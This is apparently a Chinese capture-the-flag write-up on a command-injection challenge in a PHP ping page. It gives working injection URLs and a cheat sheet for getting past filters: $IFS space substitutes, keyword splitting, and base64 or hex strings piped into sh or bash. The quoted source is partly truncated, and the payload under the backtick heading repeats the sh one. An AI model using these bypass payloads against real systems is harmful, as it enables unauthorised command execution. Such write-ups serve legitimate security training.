[GXYCTF2019]Ping Ping Ping wp
地址:BUUCTF
ping 127.0.0.1
这就是命令执行,想要和前面的命令一起执行,有一下几个方法
; 前面的执行完执行后面的 | 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果) || 当前面的执行出错时(为假)执行后面的 & 将任务置于后台执行 && 前面的语句为假则直接出错,后面的也不执行,前面只能为真 %0a (换行) %0d (回车)
本题使用|或者;
接着cat flag.php,发现空格以及flag都被过滤。下面介绍空格绕过的几个方法:
$IFS ${IFS} $IFS$9 < <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20 (space) %09 (tab) X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20
先看看index.php,pyload为
?ip=127.0.0.1;cat$IFS$9index.php
得到:
<?php
if(isset($_GET['ip'])){ $ip = $_GET['ip'];
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
可以看到过滤了&,/,?,*,<,>,\x{00}-\x{1f},',",\,(,),[,],{,},空格,bash,flag
介绍绕过关键字的一些方法:
ca\t fla\g.php 反斜线绕过 cat fl''ag.php 两个单引号绕过 echo "Y2F0IGZsYWcucGhw" | base64 -d | bash base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数 echo "63617420666c61672e706870" | xxd -r -p | bash hex编码绕过(引号可以去掉) echo "63617420666c61672e706870" | xxd -r -p | sh sh的效果和bash一样 cat fl[a]g.php 用[]匹配 cat fla* 用*匹配任意 a=fl;b=ag;cat $a$b 变量替换 cp fla{g.php,G} 把flag.php复制为flaG ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的
使用通配符:
* #匹配全部字符,通配符 ? #任意一个字符,通配符 [] #表示一个范围(正则,通配符) {} #产生一个序列(通配符)
利用反引号
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
利用sh代替bash
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh